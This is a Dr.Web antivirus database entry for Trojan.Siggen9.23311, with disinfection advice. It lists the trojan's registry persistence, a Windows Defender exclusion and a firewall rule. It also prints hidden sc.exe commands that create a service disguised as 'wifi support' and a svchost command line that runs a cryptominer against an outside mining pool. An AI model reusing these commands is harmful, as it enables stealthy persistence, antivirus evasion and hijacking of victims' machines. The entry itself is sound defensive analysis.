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Trojan.Siggen9.23311

Added to the Dr.Web virus database: 2020-03-22

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\vsfonbsu] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\vsfonbsu] 'ImagePath' = '%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\vsfonbsu] 'ImagePath' = '%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vsfonbsu' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\enhmedyu.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\enhmedyu.exe to %WINDIR%\syswow64\vsfonbsu\enhmedyu.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • 'mx###.##il.am0.yahoodns.net':25
  • 'mx#.#op-re.com':25
  • 'ma####.mailtwo.com':25
  • 'mx#####.#ail.gm0.yahoodns.net':25
  • 'mx##.###.filter-mail.com':25
  • 'li######.#lc.protection.outlook.com':25
  • 'mx###.mb5p.com':25
  • 'ma##.avoine.com':25
  • 'alt2.aspmx.l.google.com':25
  • 'AS####.GOOGLEMAIL.COM':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'sp###.savycloud.com':25
  • '46.#8.66.2':431
  • '93.##9.69.109':431
  • '46.#.52.109':431
  • '17#.#.114.177':431
  • '18#.#65.238.150':431
  • '78.#1.67.23':431
  • 'mx#.##ystal.co.uk':25
  • 'gmail-smtp-in.l.google.com':25
  • 'sa#####.##il.protection.outlook.com':25
  • 'mx.##.#tinternet.com':25
  • 'mt##.##0.yahoodns.net':25
  • 'aspmx.l.google.com':25
  • 'mi####.bittubeapp.com':13333
  • '85.##4.134.88':487
  • 'ma##.centrum.dk':25
  • 'mx#.#anmail.net':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK el###.omakaista.fi
    • DNS ASK gi#.com
    • DNS ASK pc##.#anasonic.fi
    • DNS ASK pp.##stellum.fi
    • DNS ASK fi###gen.otm.fi
    • DNS ASK ds#.inet.fi
    • DNS ASK mx.##ission.com
    • DNS ASK us##a.com
    • DNS ASK co##rt.fi
    • DNS ASK cl##et.fi
    • DNS ASK ta#####rkompressorit.fi
    • DNS ASK mx#####.#ail.gm0.yahoodns.net
    • DNS ASK ya##o.co.in
    • DNS ASK ja##.#ath.jyu.fi
    • DNS ASK va##o.com
    • DNS ASK ma##.centrum.dk
    • DNS ASK bm###p.htk.fi
    • DNS ASK vr###w.oulu.fi
    • DNS ASK li###ing.abo.fi
    • DNS ASK mx#.#op-re.com
    • DNS ASK qo##re.com
    • DNS ASK ma####.mailtwo.com
    • DNS ASK ad##ess.com
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK ho##ail.com
    • DNS ASK mx##.###.filter-mail.com
    • DNS ASK
    • DNS ASK si####s4jesus.com
    • DNS ASK k-####etrecords.com
    • DNS ASK ot##.tky.hut.fi
    • DNS ASK fr####oreclub.com
    • DNS ASK ya##o.fr
    • DNS ASK fi####galove.com
    • DNS ASK e-#####lovetomorrow.com
    • DNS ASK e-#####lovetoday.com
    • DNS ASK e-####dlovenow.com
    • DNS ASK e-####dlovenew.com
    • DNS ASK ch######.##il.protection.outlook.com
    • DNS ASK ch##i.dk
    • DNS ASK e-#####lovefuture.com
    • DNS ASK i-####tohowl.com
    • DNS ASK po###.tele.dk
    • DNS ASK i-####togrin.com
    • DNS ASK i-####tochuckle.com
    • DNS ASK fp##.mail.dk
    • DNS ASK e-####tochuckle.com
    • DNS ASK ka#####ava.teampac.fi
    • DNS ASK ce##rum.dk
    • DNS ASK an##em.com
    • DNS ASK mx.##xmail.com
    • DNS ASK co####ternet.com
    • DNS ASK mx#.#anmail.net
    • DNS ASK ha##ail.net
    • DNS ASK mx##.##tzenitmail.dk
    • DNS ASK fl##t.dk
    • DNS ASK 3d###nsion.dk
    • DNS ASK in#.#anadoo.es
    • DNS ASK er##mas.com
    • DNS ASK mx#.##internet.com
    • DNS ASK mm###ernet.com
    • DNS ASK ma#######xcite.roc2.bluetie.com
    • DNS ASK ex##te.com
    • DNS ASK mx#######e01.gslb.pphosted.com
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK re###.hogia.fi
    • DNS ASK mx#######f02.gslb.pphosted.com
    • DNS ASK hs##.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK d-##am.it
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK po####onwatch.com
    • DNS ASK sa#####.##il.protection.outlook.com
    • DNS ASK sa#o.fi
    • DNS ASK gmail-smtp-in.l.google.com
    • DNS ASK gm##l.com
    • DNS ASK mx.##.#tinternet.com
    • DNS ASK bt###ernet.com
    • DNS ASK ko##.hut.fi
    • DNS ASK mx#######901.gslb.pphosted.com
    • DNS ASK az##ves.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK fo####ovelife.com
    • DNS ASK wi###edonps.com
    • DNS ASK sh###out.com
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK mx##.#mig.gmx.net
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK gm#.at
    • DNS ASK mx#.#i.com.br
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK br###bo.com.br
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK ka##.ramk.fi
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK to####jardin.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK ya##o.com
    • DNS ASK po##.tele.dk
    • DNS ASK mx#.##ystal.co.uk
    • DNS ASK fa##.org
    • DNS ASK ba###rco.com
    • DNS ASK ad##ek.com
    • DNS ASK mx######ort.core.plus.net
    • DNS ASK wa###ose.com
    • DNS ASK li######.#lc.protection.outlook.com
    • DNS ASK li##.com
    • DNS ASK ma##.#icrostep.fi
    • DNS ASK mi###step.fi
    • DNS ASK ra#####.lfg.l-fashion.fi
    • DNS ASK ma##.avoine.com
    • DNS ASK in###.optinet.fi
    • DNS ASK mx##.#aramail.com
    • DNS ASK ca###ail.com
    • DNS ASK mx#######b01.gslb.pphosted.com
    • DNS ASK sp###.savycloud.com
    • DNS ASK hd##st.com
    • DNS ASK mx.##team.it
    • DNS ASK ma##.htk.fi
    • DNS ASK or##non.fi
    • DNS ASK tr###sphere.fi
    • DNS ASK cc.#ut.fi
    • DNS ASK yk###6040t.fi
    • DNS ASK me##rex.fi
    • DNS ASK fr###iernet.net
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK ho###il.co.uk
    • DNS ASK ds#.###.##stomers.dnainternet.fi
    • DNS ASK google.com
    • DNS ASK vi####l.finland.fi
    • DNS ASK AS####.GOOGLEMAIL.COM
    • DNS ASK mx###.mb5p.com
    • DNS ASK fo####ovenew.com
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\vsfonbsu\enhmedyu.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vsfonbsu\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\enhmedyu.exe" %WINDIR%\SysWOW64\vsfonbsu\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create vsfonbsu binPath= "%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description vsfonbsu "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start vsfonbsu' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vsfonbsu\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\enhmedyu.exe" %WINDIR%\SysWOW64\vsfonbsu\
    • '%WINDIR%\syswow64\sc.exe' create vsfonbsu binPath= "%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description vsfonbsu "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start vsfonbsu
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

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